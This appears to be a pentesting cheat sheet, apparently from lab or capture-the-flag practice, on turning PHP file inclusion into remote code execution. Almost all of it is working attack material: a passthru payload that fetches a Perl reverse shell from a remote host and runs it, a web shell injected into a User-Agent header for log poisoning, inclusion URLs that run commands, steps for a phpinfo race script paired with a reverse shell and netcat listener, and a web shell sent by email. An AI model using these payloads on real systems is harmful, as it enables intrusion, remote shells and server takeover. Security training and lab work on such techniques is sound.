PHP rce
PHP SYSTEM/SHELL_EXEC
FREE BSE wget reverse shell
Theres no wget
in BSD! So use fetch
<?php passthru("mkdir /tmp/temp/ && fetch -qo /tmp/temp/callme.pl http://10.11.0.69/callme.pl && perl /tmp/temp/callme.pl");?>'
Log poisoning LFI RCE
Burp inject php code in User-Agent
User-Agent: <?php system($_REQUEST['hack']); ?>
Check logs at
/var/log/httpd-access.log
Use LFI to RCE
10.10.10.84/browse.php?file=%2Fvar%2Flog%2Fhttpd-access.log&hack=uname
PHPINFO LFI RCE
You have LFI and can view phpinfo.php. Upload file is turned on.
(step 1) wget
https://github.com/swisskyrepo/PayloadsAllTheThings/raw/master/File%20Inclusion/phpinfolfi.py
(Step 2) Modify payload to include pentest monkey's reverse shell between start and end
If script doesnt work check the comparison operator greater than
At line 203
At line 262
(Step 3) Update LFI script url (apply %00
null byte terminator if needed) - note the double percent variable is %%00
(Step 4) Start nc listener to catch reverse shell and run python script.
python phpinfolfi.py 10.10.10.84 80 100
LFI RCE using /var/email
See SMTP cheatsheet, send email with file below:
<?php echo system($_REQUEST['hack']); ?>
Using burpsuite, execute RCE using the LFI and commands
../var/mail/emailUserName..........&hack=whoami
MYSQL Writing PHP reverse shell with wget
SQL Code Execution
SQL Create file using INTO OUTFILE
Last updated